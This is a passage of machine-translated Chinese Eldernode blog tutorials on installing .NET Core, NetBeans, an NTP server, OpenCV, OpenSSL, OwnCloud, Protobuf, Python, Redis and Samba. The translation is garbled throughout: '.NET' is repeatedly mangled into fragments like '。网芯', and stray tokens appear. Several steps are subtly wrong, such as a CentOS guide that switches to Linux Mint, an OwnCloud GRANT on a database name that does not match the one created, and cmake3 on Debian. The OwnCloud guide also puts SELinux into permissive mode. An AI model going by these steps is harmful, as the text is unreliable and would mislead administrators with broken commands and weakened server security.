sudo apt update
sudo apt install apt-transport-https
注意: 你需要在你的 Debian 上启用微软包库。微软提供 Debian 软件包在你的系统上创建一个 PPA 文件。
键入以下命令来配置 Microsoft PPA:
wget https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
如何安装。Debian 10 服务器上的 NET Core
现在是时候安装了。Debian 上的 NET core。需要注意的是。net 运行时用于在。网芯。安装。NET Core SDK ,在终端输入以下命令:
sudo apt update sudo apt install dotnet-sdk-3.1
您也可以输入以下命令来安装以前版本的。Net Core SDK 2.1:
sudo apt install dotnet-sdk-2.1
如果你想安装。NET Core 运行时,只需输入以下命令:
sudo apt update sudo apt install dotnet-runtime-3.1
您也可以使用以下命令安装以前版本的。Net core 运行时 2.1:
sudo apt install dotnet-runtime-2.1
有什么区别。NET 框架和。网芯?
App-型号: 。NET Core 并不支持。NET 框架。因为它们中的大多数都是用像 WPF(基于 DirectX)这样的 Windows 技术构建和开发的。应用程序控制台和 ASP。两种平台都支持. NET 模型。
API:。NET Core 包括许多由。NET Framework,但总的来说它们更少,并且在某些因素上也有所不同。剩下的情况现在需要一系列彻底的改变才能移植到。网芯。的。NET 核心 API 实现了。NET 标准库,并且已经成长和扩展到包括更多。基于 API 的库。
子系统: 为了简化加载和执行过程以及方便编程模型,。NET Core 被设计成运行子系统的子集。
平台: 。NET Framework 只支持 Windows 和 Windows Server,而。NET Core 也可以用在 macOS 和 Linux 上。
开源: 。NET Core 是完全开源的,而。NET 框架子集是开源的。
结论
尤其是程序员最基本的问题之一。NET 程序员,是他们是否可以运行 Asp.Net 应用程序的基础。Windows 服务器上的. Net Core。这个问题的答案对于很多用户来说可能更容易讨论。事实是,并不是所有的托管公司都准备好了。网芯。鉴于这些计划的实施略有不同,更关心安全性的公司可能还不会冒险支持。网芯在最早的机会。流行的 Plesk 控制面板支持。Net Core 默认情况下,即使在新的 Onyx 版本,你可以很容易地安装。安装 Plesk 时没有任何知识的 Net Core。
最后,建议如果您是. Net 程序员,不要怀疑您应该迁移到。NET 核心并尽早开始学习它。在本文中,我们试图向您介绍。NET 核心,还教你如何配置。Debian 10 上的 NET Core。
教程在 Centos 8 | Eldernode 上配置 NetBeans
原文:https://blog.eldernode.com/configure-netbeans-on-centos-8/
教程如何在 Centos 8 上配置 NetBeans。NetBeans 是一个 Java 软件开发平台,也是最受 T2 欢迎的 Linux 代码编辑器之一,可用于 Java、C、C++和 PHP 开发。该平台提供了许多预定义的模板和代码生成工具,以加快开发速度。NetBeans 是一个跨平台的软件,可以在 T4 的 Windows T5,OSX 的 Mac 和 Linux 上运行。在本教程中,我们将尝试让您熟悉如何在 Centos 8 上安装和配置 NetBeans。如果您需要购买 CentOS VPS 服务器,还可以访问 Eldernode 中提供的软件包。
NetBeans 有什么特点?
NetBeans 被认为是一个模块化平台,用于开发 Java 桌面应用程序,由 Oracle 开发和发布。Java 语言也是由 Oracle 开发的,它也支持 NetBeans。以下是 NetBeans 的一些功能:
–NetBeans for Linux
对于开发者来说,NetBeans 是一个非常有用的 IDE,几乎适用于所有的操作系统,包括 Linux。所以如果你想加快你的编程速度,就用它吧。
–适合初学者
在 Linux 代码编辑器中,NetBeans 有一个很好的图形用户界面。如果您是 Java 编程新手,NetBeans 可以让您轻松创建项目、运行应用程序和搜索关键字。窗口和菜单很容易访问,全屏模式非常适合小屏幕,并且很容易导入其他 NetBeans 项目。
–发现 Java 代码错误
NetBeans 检测潜在的错误和编码问题。还支持查找代码中可能存在的错误。如果使用了关键字,NetBeans 会在编程过程中显示函数和模块。
–NetBeans 可视库
NetBeans 可视库包含一组可重用、预定义和可扩展的 Java 小部件。每个小部件都包含各种功能,包括动作、布局和边框。运行小部件时,您可以快速、轻松地向用户提供数据可视化。NetBeans 可视库与其他应用程序接口(API)相结合,允许您创建具有软件中常见功能的交互式用户界面。
–插件管理
有一个插件管理器来支持新的图形用户界面(GUI)特性和调试。这个插件管理器是一个添加新特性和 API 的好工具。
–NetBeans 调试器
NetBeans 调试器可以轻松处理多学科应用程序。您可以轻松地在线程之间切换。代码段计算器允许您定义在调试时格式化对象输出的方法。这样就可以用更易读的形式显示对象。
–NetBeans 可视库
如果您遇到问题,NetBeans 有一个很大的支持社区可供您使用。您的问题可以在社区论坛中提出。
了解如何在 Centos 8 上配置 NetBeans
第一步,您需要安装 netbeans 依赖项。NetBeans 需要 Java JDK 来运行。为此,请按照下列步骤操作:
sudo dnf install java-11-openjdk java-11-openjdk-devel
然后,您必须接受开始下一步的安装过程:
.... Last metadata expiration check: 1 day, 8:47:43 ago on Thu 02 Jul 2020 01:55:46 AM EAT. Dependencies resolved. ===================================================================================================================================================================================================== Package Architecture Version Repository Size ===================================================================================================================================================================================================== Installing: java-11-openjdk x86_64 1:11.0.7.10-1.el8_1 AppStream 247 k java-11-openjdk-devel x86_64 1:11.0.7.10-1.el8_1 AppStream 3.3 M Installing dependencies: java-11-openjdk-headless x86_64 1:11.0.7.10-1.el8_1 AppStream 40 M Transaction Summary ===================================================================================================================================================================================================== Install 3 Packages Total download size: 43 M Installed size: 187 M Is this ok [y/N]: y
确认 Java 安装后,下一步是下载 NetBeans,开始安装过程。使用以下命令安装 wget :
sudo dnf install -y wget
使用以下命令行在 CentOS 8 上下载 NetBeans。然后运行脚本:
wget https://downloads.apache.org/netbeans/netbeans/12.0/Apache-NetBeans-12.0-bin-linux-x64.sh
chmod +x Apache-NetBeans-12.0-bin-linux-x64.sh
运行以下命令在 Linux Mint 20 上安装 NetBeans:
sudo ./Apache-NetBeans-12.0-bin-linux-x64.sh
点击下一个开始安装:
点击我接受条款 …然后点击下一步确认许可协议:
在下一步中,指定程序的安装路径后,点击下一个:
在下一步中,您可以通过选中选项来使自动更新选项。最后点击安装:
在最后一个窗口中,点击完成以成功完成安装过程。
Centos 8 上的 NetBeans 安装过程现已完成,您可以通过搜索来使用它。
结论
NetBeans 是开始 Java 编程的好方法,可以帮助初学者学习。NetBeans 比其他 ide 有优势,比如 Oracle 开发的那些,还有最新的特性。但是 NetBeans 不像 Eclipse 那样流畅,并且与其他 ide 相比需要大量内存。但是,在本文中,我们试图教您如何在 Centos 8 上安装和配置 NetBeans。
如何在 Ubuntu 20.04 - ElderNode 博客上配置 NetBeans
原文:https://blog.eldernode.com/configure-netbeans-on-ubuntu-20-04/
NetBeans tool 是一个用于开发 Java 应用程序的 IDE。在本文中,我们试着一步步学习如何在 Ubuntu 20.04 上配置 NetBeans。你可以访问 Eldernode 提供的包来购买 Linux VPS 服务器。
教程如何在 Ubuntu 20.04 上安装和配置 NetBeans
该应用可用于各种流行的系统,如 Windows、 Linux 等。,您可以轻松安装和设置。
步骤 1)先决条件
首先,安装并激活最新版本的 Ubuntu。
然后使用以下命令安装并激活 Java 8 或更高版本。
sudo apt install default-jdk
步骤 2)如何在 Ubuntu 上安装 Netbeans
我们使用 Snap 包在 Ubuntu Linux 服务器上安装 Netbeans IDE。为此,请打开终端并运行以下命令来安装 Netbeans IDE。
sudo snap install netbeans --classic
如果安装成功,输出应该如下所示:
netbeans 11.3 from Apache NetBeans* installed
步骤 3)在 Ubuntu 上运行 Netbeans IDE
安装完成后,在应用程序部分搜索并打开 Netbeans。运行后,您可以轻松地在程序上运行您的程序。
步骤 4)删除 Ubuntu 上的 Netbeans
如果你在完成项目后不再需要 Netbeans,你可以用下面的命令把它从 Ubuntu 中删除。
sudo snap remove netbeans
我们希望本教程对你有用。
结论
在本文中,您了解了如何在 Ubuntu 20.04 上配置 NetBeans。在 Eldernode 社区中讨论这个话题,看看其他人对服务器交换的看法。
教程在 Windows Server 2019 中配置 NTP 服务器- Eldernode
原文:https://blog.eldernode.com/configure-ntp-server-in-windows-server/
教程在 Windows Server 2019 中配置 NTP 服务器。在所有客户端和服务器上获得准确的时间非常重要。如果计算机上的时间不准确,就会出现严重的网络问题。幸运的是,Windows 已经考虑到了这一点。服务 网络时间协议 (NTP)从 Windows XP 和 Windows Server 2003 就有了。此外,NTP 服务的大多数 Unix 和 Linux 版本都支持第一个版本。
在本文中,我们将教你如何在 windows server 2019 中配置 NTP 服务器。
您可以从 eldernode 选择您最理想的 Windows VPS Server 软件包。
a)打开注册表编辑器
1。点击开始菜单,搜索运行。
2。键入 Regedit 并点击回车。将会打开一个窗口,如下所示。
3。在打开的窗口中选择 HKEY_LOCAL_MACHINE 。
4。按照下面的路径到达 NtpServer 选项。
SYSTEM>CurrentControlSet>Services>W32Time>TimeProviders>NtpServer
5.在右边页面,双击使能。
在数值数据部分,将数值从 0 更改为 1 ,点击 ok 。
6。继续下面的路径,直到到达配置选项。
Computer>HKEY_LOCAL_MACHINE>SYSTEM>CurrentControlSet>Services>W32Time>Config.
在右边的页面中,双击 AnnounceFlags ,将其值改为 5 ,点击 ok 。
以下选项解释了有关 AnnounceFlags 的信息:
0x00 不是时间服务器
0x01 始终时间服务器
0x02 自动时间服务器
0x04 始终可靠的时间服务器
0x08 自动可靠时间服务器
域成员和独立客户端和服务器的默认值是 10。
b)重新启动 NTPServer
1.通过在开始菜单中搜索或点击窗口键打开服务。
2.在打开的窗口中,选择窗口时间选项。然后右键点击,选择重启。
c)在防火墙中打开 UDP 端口 123
您可以按照了解如何在 Windows 防火墙上打开端口。
请注意,此端口是 UDP 而不是 TCP。
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
你可能也会对一些相关文章感兴趣:
You may also be interested in some related articles:
如何在 Debian 11 - Eldernode 博客上配置 OpenCV
原文:https://blog.eldernode.com/configure-opencv-on-debian-11/
OpenCV 是最初由英特尔开发的编程函数库。OpenCV 库是开源的、跨平台的,在 BSD 许可下可以免费使用。本库的算法使用 SSE、AVX、TBB、IPP、CUDA、OpenCL 进行优化和并行化。在这篇文章中,我们将教你如何在 Debian 11 上配置 OpenCV。如果你想购买一台 Linux VPS 服务器,你可以访问 Eldernode 中的软件包。
教程在 Debian Linux 上配置 OpenCV
OpenCV 是什么?
OpenCV 库支持各种平台,包括 Windows 、 Linux 、Android、iOS、Macintosh。它还包含 2500 多种优化算法。OpenCV 可以用于图像过滤、人脸识别、运动检测、人机交互、运动跟踪、运动感知、物体检测等等。
为了支持某些 OpenCV 应用,有一个机器学习库,包括以下内容:
1.元算法
2.数学希望最大化算法
3.梯度树增加
4.支持向量机(SVM)
5.最近邻算法
6.学习决策树
7.人工神经网络
8.随机森林
如何在 Debian 11 上安装 OpenCV
在这一节,我们想教你如何在 Debian 11 上安装 OpenCV。为此,您必须按顺序执行以下步骤。
注意 OpenCV Python 模块可以从标准的 Debian 仓库获得。在撰写本文时,标准的 Debian 库包括 OpenCV 4 . 5 . 3 版。第一步是使用以下命令更新系统,然后安装 OpenCV Python 模块:
sudo apt update
sudo apt install python3-opencv
接下来,要确认安装,进入 cv2 模块并使用以下命令打印 OpenCV 版本:
python3 -c "import cv2; print(cv2.__version__)"
安装 OpenCV 的第二种方法是使用源代码。在这种方法中,要从源代码安装 OpenCV 的最新版本,需要依次执行以下步骤。使用以下命令,您可以安装所有必需的和可选的依赖项:
sudo apt install build-essential cmake git pkg-config libgtk-3-dev \ libavcodec-dev libavformat-dev libswscale-dev libv4l-dev \ libxvidcore-dev libx264-dev libjpeg-dev libpng-dev libtiff-dev \ gfortran openexr libatlas-base-dev python3-dev python3-numpy \ libtbb2 libtbb-dev libdc1394-22-dev
安装所需的依赖项后,可以使用以下命令克隆 OpenCV 和 OpenCV 参与库:
mkdir ~/opencv_build && cd ~/opencv_build
git clone https://github.com/opencv/opencv.git
git clone https://github.com/opencv/opencv_contrib.git
现在,您需要使用以下命令创建一个临时构建目录,并转到该目录:
cd ~/opencv_build/opencv
mkdir build && cd build
通过运行以下命令来配置 OpenCV 基础设施:
cmake3 -D CMAKE_BUILD_TYPE=RELEASE \
-D CMAKE_INSTALL_PREFIX=/usr/local \
-D INSTALL_C_EXAMPLES=ON \
-D INSTALL_PYTHON_EXAMPLES=ON \
-D OPENCV_GENERATE_PKGCONFIG=ON \
-D OPENCV_EXTRA_MODULES_PATH=~/opencv_build/opencv_contrib/modules \
-D BUILD_EXAMPLES=ON ..
在 Debian 11 上配置 OpenCV
在这一节中,我们将看看如何配置和启动 OpenCV。您可以运行以下命令来启动编译过程。在下面的命令中,您需要根据您的处理器更改 -j 标志。注意,如果您不知道处理器的内核数量,您可以通过键入 nproc 找到它。
make -j2
现在是时候通过执行以下命令来安装 OpenCV 了:
sudo make install
在下一步检查 OpenCV 安装是否成功时,您可以轻松地输入以下命令:
pkg-config --modversion opencv4
python3 -c "import cv2; print(cv2.__version__)"
结论
可视化软件开发人员面临的一个问题是对图像进行各种计算。由于信息量大,它们的处理需要最佳的编程。在本文中,我们试图教你如何在 Debian 11 上配置 OpenCV。
教程在 Windows Server 2016 上配置 OpenSSL
原文:https://blog.eldernode.com/configure-openssl-on-windows-server/
OpenSSL 是一个全面的加密库,它使用 TLS 协议,这是一个开源应用程序。它于 1998 年首次发布,可用于 Linux、Windows、macOS 和 BSD 系统。OpenSSL 允许用户使用 SSL 做各种事情。这些包括创建 CSR(证书签名请求)和生成私钥,以及安装 SSL 证书。在本文中,我们将向您介绍教程在 Windows Server 2016 上配置 OpenSSL。你可以使用 Eldernode 中可用的软件包来购买一台 Windows VPS 服务器。
如何在 Windows Server 2016 上配置 OpenSSL
OpenSSL 是用于传输层安全(TLS)和安全套接字层(SSL)协议的健壮的、商业级的、全功能的工具包。在下一节中,我们将向您介绍 OpenSSL 的概念。然后我们会教你如何在 Windows Server 2016 上安装 OpenSSL。最后,我们将教你如何配置 OpenSSL。请继续关注本文的其余部分。
OpenSSL 简介
OpenSSL 是 SSL 领域中使用最广泛的工具之一。SSL 证书现在需求量很大。自从 HTTPS 无处不在运动发起以来,加密领域发生了巨大的变化。首先,他们引入 SEO 作为安装数字证书的激励,后来,他们强制所有网站安装 Chrome HTTPS。如果你不使用 SSL 证书,流行的浏览器如 Chrome 和 T2 的 Firefox 都不会认为你的网站是一个“安全”的网站。
SSL 的正确实施对于网站的安全和成功至关重要。尽管许多网站管理员是第一次学习 SSL,对 SSL 了解不多,但他们拥有所需的工具是很重要的。其中一个工具是 OpenSSL。
使用 OpenSSL,您可以为您的数字证书申请一个证书,并在您的服务器上安装 SSL 文件。您还可以将证书转换为各种 SSL 格式,并执行各种身份验证。您所要做的就是学习一些常用的 OpenSSL 命令,随着每个新证书的安装,配置过程将会更快更容易。因为并非所有服务器都提供 SSL 管理的 web 界面,所以在某些操作系统上,OpenSSL 是安装和配置证书的唯一解决方案。
在本文的续篇中,加入我们,一步步教你如何在 Windows Server 2016 上安装 OpenSSL。
如何在 Windows Server 2016 上安装 OpenSSL
在这一节,我们想教你如何在 Windows Server 2016、2019、2012 上安装 OpenSSL。为此,只需按顺序执行以下步骤。
第一步是去 OpenSSL 下载页面。然后,根据你的系统版本,下载最新的 OpenSSL build。您也可以通过在 PowerShell 中运行以下命令来下载 OpenSSL:
curl.exe -L -o Win64OpenSSL.exe https://slproweb.com/download/Win64OpenSSL-1_1_0j.exe
成功下载 OpenSSL 后,现在可以通过在 PowerShell 中运行以下命令来开始安装过程:
.\Win64OpenSSL.exe
在打开的窗口中,选择我接受协议选项确认许可协议,然后点击下一步:
在下一步中,您需要指定 OpenSSL 的安装路径,并点击 Next :
然后,您可以选择应用程序快捷方式的目录:
然后你必须选择下一步要做的额外任务。因此,在选择下图中的一个选项后,您必须点击下一个:
最后,点击 Install 在您的系统上安装 OpenSSL:
点击完成完成安装:
注意: 安装完成后,需要将 64 位版本的 C:\OpenSSL-Win64 和 32 位版本的 C:\OpenSSL-Win32 添加到 Windows 环境的路径中。
在 Windows Server 2016 上配置 OpenSSL
在您能够成功安装 OpenSSL 之后,我们现在想要配置它。您可以使用以下命令创建一个测试 SSL 证书来验证您的安装:
openssl.exe req -new -nodes -keyout server.key -out server.csr -newkey rsa:2048
现在,您可以配置环境变量,使 OpenSSL 在您的系统上正常工作。这些环境变量是 OPENSSL_CONF 和路径。您可以轻松地使用以下命令进行这些设置:
set OPENSSL_CONF=C:\OpenSSL-Win32\bin\openssl.cfg
set Path=%Path%;C:\OpenSSL-Win32\bin
需要注意的是,你可以在系统中永久查看 OPENSSL_CONF 和路径变量。为此,请按照以下步骤操作:
第一步是按下窗口+R 组合键打开运行窗口:
然后输入“ sysdm.cpl ,按回车:
接下来,您需要进入“高级选项卡,点击“环境变量”:
下图显示了如何配置 OPENSSL_CONF 变量:
下图显示了如何配置路径变量:
结论
在本文的开始,我们试图向您介绍 OpenSSL 的概念。然后我们解释了如何在 Windows Server 2016 上安装 OpenSSL。最后,我们教你如何配置 OpenSSL。
教程在 Rocky Linux - Eldernode 博客上配置 OwnCloud
原文:https://blog.eldernode.com/configure-owncloud-on-rocky-linux/
OwnCloud 是一组用于创建和使用文件托管服务的客户端-服务器软件。OwnCloud 在性能上与广泛使用的 Dropbox 类似。ownCloud 和 Dropbox 的主要功能区别在于 OwnCloud 主要是服务器软件。OwnCloud 服务器版本是免费和开源的,因此它允许任何人免费在自己的私有服务器上安装它。在这篇文章中,我们将教你如何在 Rocky Linux 上配置 OwnCloud。如果你想买一个 Linux VPS 服务器,你可以在 Eldernode 看到可用的软件包。
如何在 Rocky Linux 上配置 own cloud
什么是 OwnCloud?
OwnCloud 是 2010 年首次开发的开源软件。该软件允许您运行个人云存储服务。OwnCloud 的功能可以与 Dropbox 等其他云存储服务相媲美。OwnCloud 服务器软件可以免费安装在 Linux 上。客户端软件也可以安装在运行 Windows 、OS X 或者 Linux 的电脑上。移动应用程序也适用于 Android 和 iOS。
如何在 Rocky Linux 上安装 own cloud
在这一节,我们想教你如何在 Rocky Linux 上安装 OwnCloud。为此,您可以按顺序执行以下步骤
您必须首先使用以下命令更新系统:
yum update -y
您现在可以使用以下命令下载 OwnCloud :
cd /tmp
wget https://download.owncloud.org/community/owncloud-complete-20210326.tar.bz2
现在你需要解压 /var/www/html/ 目录下的下载文件:
yum install bzip2
tar -xvf owncloud-complete-20210326.tar.bz2 -C /var/www/html/
您必须使用以下命令配置您自己的云目录权限:
chown apache:apache -R /var/www/html/owncloud/
chmod -R 755 /var/www/html/owncloud
最后,您必须使用以下命令创建一个新的 MySQL 数据库。请注意,在以下命令中,用实际密码替换您的密码:
mysql -u root -p
mysql> CREATE DATABASE ownclouddb;
mysql> GRANT ALL PRIVILEGES ON ownclouddata.* TO 'ownclouduser'@'localhost' IDENTIFIED BY 'YOUR-PASSWORD' WITH GRANT OPTION;
mysql> FLUSH PRIVILEGES;
mysql> exit;
在 Rocky Linux 上配置 own cloud
在这一节,我们想教你如何在 Rocky Linux 上配置 OwnCloud。请遵循以下步骤。
您必须首先使用以下命令打开防火墙中的端口:
firewall-cmd --zone=public --add-port=80/tcp --permanent
firewall-cmd --reload
现在,您需要使用以下命令将 SELinux 模式设置为许可模式:
setenforce 0
使用您喜欢的编辑器打开配置文件:
vi /etc/selinux/config
打开配置文件后,按如下方式更新命令:
# This file controls the state of SELinux on the system.
# SELINUX= can take one of these three values:
# enforcing - SELinux security policy is enforced.
# permissive - SELinux prints warnings instead of enforcing.
# disabled - No SELinux policy is loaded.
SELINUX=permissive
# SELINUXTYPE= can take one of these two values:
# targeted - Targeted processes are protected,
# mls - Multi Level Security protection.
SELINUXTYPE=targeted
现在,您可以运行以下命令。执行以下命令,允许 Apache Web 服务器写入 Owncloud 目录:
setsebool -P httpd_unified 1
最后,您可以在 URL 中键入以下命令来完成您自己的云安装:
http://server_IP/owncloud
最后一步是为 OwnCloud 创建一个管理员帐户。您必须输入想要设置的用户名和密码,如下所示:
点击完成设置完成安装和配置步骤:
结论
通过在服务器上安装 OwnCloud,您可以安全地存储和访问文件。您还能够共享和协作内容,使团队能够在任何地方、任何设备上轻松处理数据。在本文中,我们试图教你如何在 Rocky Linux 上配置 OwnCloud。
教程在 Ubuntu 20.04 上配置 proto buf-elder node 博客
原文:https://blog.eldernode.com/configure-protobuf-on-ubuntu-20-04/
Protobuf 是一种主要用于内部通信的标准,但最近他们也在努力使这种标准对用户友好,这在 Android 中目前是可能的,并且由于其在 HTTP/2 中的二进制可用性,已经为浏览器准备了示例。这就是为什么它有更好的速度和性能。在本文中,您将了解如何在 Ubuntu 20.04 上配置 Protobuf。如果你想购买一台 Linux VPS 服务器,你可以访问 Eldernode 中的软件包。
教程在 Ubuntu Linux 上安装和配置 proto buf
简介 Protobuf:
Protobuf 是一个开源的、免费的、跨平台的库。并用于在构建应用程序时通过网络相互通信和存储数据。
Protobuf 是一个带有 proto 扩展名的文本文件,很容易理解。第一行标识了 Protobuf 版本,第三行定义了一个消息,它有一个标记为 1 的 int 字段、一个标记为 2 的 string 字段和一个标记为 3 的 bool 字段。
Protobuf 特性
- 定义数据类型
- 数据自动压缩
- 消息具有模式结构
- 文档是在原型文件中编写的
- 用任何编程语言读取数据
- 随时开发模式结构
- 比 JSON 快
- 为您的语言自动生成代码
如何在 Ubuntu 20.04 上安装和配置 proto buf
注意:在执行任何操作之前,请通过输入以下命令来更新您以前的软件包:
sudo apt update
然后,您可以通过运行以下命令在您的 ubuntu 系统上安装 Protobuf 编译器:
sudo apt install protobuf-compiler
如何在 Ubuntu 20.04 上卸载 proto buf
您可以通过输入以下命令删除已安装的 Protobuf:
sudo apt-get remove protobuf-compiler
然后,您应该运行以下命令来删除相关软件包:
sudo apt-get autoremove protobuf-compiler
结论
本文教你如何在 Ubuntu 上使用命令行安装、配置和卸载 Protobuf。通过这个循序渐进的教程,你可以很容易地在你的 Ubuntu 20.04 系统上安装 Protobuf。
如何在 AlmaLinux 8.4 - Eldernode 博客上配置 Python
原文:https://blog.eldernode.com/configure-python-on-almalinux/
Python 编程语言是一种简单易学的语言。这就是为什么很多程序员新手选择它作为他们的第一编程语言,因为 Python 已经被开发成一种“通用语言”,并不局限于开发特定类型的软件。换句话说,它可以用于从“数据分析”到制作电脑游戏的任何事情。在本文中,我们将教你如何在 AlmaLinux 8.4 上配置 Python。如果你想买一个 Linux VPS 服务器,你可以在 Eldernode 看到可用的软件包。
教程在 AlmaLinux 8.4 上配置 Python【安装】
Python 及其特性简介
Python 是一种面向对象的高级编程语言,用于 Web 和应用程序开发软件。这种编程语言在快速应用程序开发领域非常有吸引力。因为它有动态类型和动态绑定。
Python 是一种相对简单的编程语言,由于其注重可读性的独特“语法”,所以易于学习。对于“开发人员”来说,用 Python 编程语言编写的代码比其他语言更容易阅读和翻译。这反过来降低了维护和开发用这种语言编写的程序的成本。因为它允许团队一起工作,而不会遇到语言障碍,团队成员之间也不会有不同的工作经历。
Python 的特性包括:
–使用良好的语法,提高用这种语言编写的程序的可读性
–支持各种编程任务,如与网络浏览器同步、搜索文本和编辑文件。
–这种语言有一种交互模式,可以轻松测试软件中的小段代码。
–Python 语言可以通过添加新模块来开发。
如何在 AlmaLinux 8.4 上下载 Python
在这一节中,我们想向您展示如何在 AlmaLinux 上安装 Python。为此,您必须按顺序执行以下步骤。第一步是安装 Python 开发库:
sudo dnf install gcc openssl-devel bzip2-devel libffi-devel
您现在可以通过运行以下命令下载 Python :
cd /opt wget https://www.python.org/ftp/python/3.8.3/Python-3.8.3.tgz
现在是时候通过运行以下命令提取下载的文件了:
tar xzf Python-3.8.3.tgz
在 AlmaLinux 8.4 上安装配置 Python
在上一节下载并解压缩 Python 之后,我们现在想向您展示如何配置它。第一步,您需要转到 Python-3.8.3 文件夹,并根据您的系统环境配置源文件。为此,您必须执行以下操作:
cd Python-3.8.3
sudo ./configure --enable-optimizations
sudo make altinstall
最后,您可以通过运行以下命令来查看 Python 在系统中的状态:
python3.8 -V
结论
Python 是一种完全专业且功能强大的面向对象编程语言。由于其特点,这种语言日益吸引了越来越多的观众。在本文中,我们试图一步步向您展示如何在 AlmaLinux 8.4 上配置 Python。应该注意的是,AlmaLinux 是 RHEL 的一个二进制分支,是作为 CentOS 的替代品而开发的。
教程在 Linux Ubuntu 20.04 | Eldernode 上配置 Redis
原文:https://blog.eldernode.com/configure-redis-on-linux-ubuntu-20-04/
在这个教程中,我们要学习如何在 Linux Ubuntu 20.04 上安装和配置 Redis。而且让我们看看如何做出一个完整的 Redis 配置。
如何在 Linux Ubuntu 20.04 上安装、使用和配置 Redis
使用了作为用于维护数据库、缓存和接口消息(消息代理)的主内存数据库(在内存中)的技术。
步骤 1)首先,安装 Redis
首先更新 Ubuntu:
sudo apt update
然后用下面的命令安装 Redis:
sudo apt install redis-server
安装 Redis 后,启用以下命令
sudo systemctl enable redis-server
步骤 2)设定 Redis
您可以使用其配置文件进行任何其他参数更改:/etc/redis/redis.conf。
sudo vim /etc/redis/redis.conf
您可以根据每台服务器增加允许的内存限制。
完成任何更改后,重新启动服务一次:
sudo systemctl restart redis-server
步骤 3)如何连接 Redis 服务器
您可以使用 redis-cli 工具来确认 redis 服务器之间的连接。
redis-cli
输出:
127.0.0.1:6379> ping PONG
你已经成功地在完整的 Ubuntu 20.04 上安装了 Redis。
教程在 Debian - Eldernode 博客上配置 Samba
如果您从 Windows 客户端连接到 Windows 文件服务器,由于两个操作系统之间的通信协议相同,您的通信将会顺利建立。但是要将 Windows 客户机连接到来自 Linux 或 Unix 操作系统的服务器文件,您将需要一个通信协议。Samba 是 Linux 和 Windows 之间的通信协议。在本文中,我们将教你如何在 Debian 上配置 Samba。另外,如果你想购买一个 Linux VPS 主机,你可以访问 Eldernode 中可用的软件包。
什么是桑巴?
Samba 是一个协议、网络工具和标准的 Windows 互操作性程序套件,适用于 Linux 和 Unix。Samba 这个名称来源于 SMB,SMB 代表服务器消息块,是 Microsoft Windows 网络文件系统使用的标准协议的名称。Samba 允许 Windows 共享 Unix 主机上的文件和打印机,还允许 Unix 用户访问 Windows 系统上的共享资源。Samba 是重新实现 SMB/CIFS 网络协议的免费软件。Andrew Tridgell 在 1991 年 12 月和 1992 年 1 月开发了 Samba Unix 的第一个版本。
桑巴特色
- 在重负载下提供良好的性能
- 提供安全的数据传输
- 支持 NT 风格的打印服务(SPOOLSS)
- 支持 CIFS/中小企业的 POSIX 扩展
- 支持 TCP/IP 上的 NetBIOS(NBT)
- 易于快速部署
- 允许并发操作
- 多通道技术
如何在 Debian 上安装 Samba
在执行任何操作之前,使用以下命令更新您的软件包列表:
sudo apt update
Samba 可以在 Debian 默认仓库中获得。您可以通过运行以下命令来安装 Samba:
sudo apt install samba smbclient cifs-utils
以下依赖项也将随 Samba 一起安装:
The following additional packages will be installed: attr ibverbs-providers keyutils libcephfs2 libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libibverbs1 librados2 librdmacm1 python3-cffi-backend python3-cryptography python3-dnspython python3-gpg python3-markdown python3-pygments python3-requests-toolbelt python3-samba python3-tdb python3-yaml samba-common samba-common-bin samba-dsdb-modules samba-vfs-modules tdb-tools
建议的软件包:
winbind python-cryptography-doc python3-cryptography-vectors python3-sniffio python3-trio python-markdown-doc python-pygments-doc ttf-bitstream-vera bind9 bind9utils ctdb ldb-tools ntp | chrony smbldap-tools ufw heimdal-clients
将安装以下新软件包:
attr cifs-utils ibverbs-providers keyutils libcephfs2 libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libibverbs1 librados2 librdmacm1 python3-cffi-backend python3-cryptography python3-dnspython python3-gpg python3-markdown python3-pygments python3-requests-toolbelt python3-samba python3-tdb python3-yaml samba samba-common samba-common-bin samba-dsdb-modules samba-vfs-modules smbclient tdb-tools
如何在 Debian 上配置 Samba
此时,您需要更改 Samba 全局设置。Samba 配置文件位于/etc/samba/smb.conf 中。为此,您应该使用您喜欢的文本编辑器打开该文件,并更改您想要的设置:
nano /etc/samba/smb.conf
现在是时候创建一个共享的 Samba 目录了,您可以在其中共享公共和私有目录:
sudo mkdir /public sudo mkdir /private
然后,您需要向 Samba conf 添加两个目录。为此,请在文本编辑器中打开文件并编辑它:
nano /etc/samba/smb.conf
请记住在文件末尾添加共享和身份验证方法,以便进行访问:
[public] comment = Public Folder path = /public writable = yes guest ok = yes guest only = yes force create mode = 775 force directory mode = 775 [private] comment = Private Folder path = /private writable = yes guest ok = no valid users = @smbshare force create mode = 770 force directory mode = 770 inherit permissions = yes
在这一步中,您应该创建 Samba 共享用户和用户组来访问私有共享。您可以通过输入以下命令来创建该组:
sudo groupadd smbshare
接下来,您应该为私有共享添加必要的权限:
sudo chgrp -R smbshare /private/ sudo chgrp -R smbshare /public
要设置适当的目录权限,请运行以下命令:
sudo chmod 2770 /private/ sudo chmod 2775 /public
上述命令开头的值 2 代表 SGID 位,它允许新创建的文件继承父组。
要访问私有共享,您需要创建一个不登录的本地用户。为此,请运行以下命令:
sudo useradd -M -s /sbin/nologin sambauser
然后,您应该将用户添加到 Samba 共享组,如下所示:
sudo usermod -aG smbshare sambauser
请记住使用以下命令为用户创建 SMB 密码:
sudo smbpasswd -a sambauser
最后,通过输入以下命令启用创建的帐户:
sudo smbpasswd -e sambauser
如何验证桑巴配置
您可以在以下命令的帮助下测试配置文件:
sudo testparm
现在您需要在 Samba 共享中创建演示文件。为此,请运行以下命令:
sudo mkdir /private/demo-private /public/demo-public sudo touch /private/demo1.txt /public/demo2.txt
您应该通过执行以下命令来应用更改,从而重新启动该服务:
sudo systemctl restart nmbd
如果您运行了防火墙,您可以使用以下命令从指定的 IP 范围启用远程访问:
sudo ufw allow from IP-range to any app Samba
请注意,您应该在上面的命令中输入您的 IP,而不是 IP-range。
如何从客户端访问股票
首先,您应该能够从本地设备访问共享。您可以使用以下命令来完成此操作:
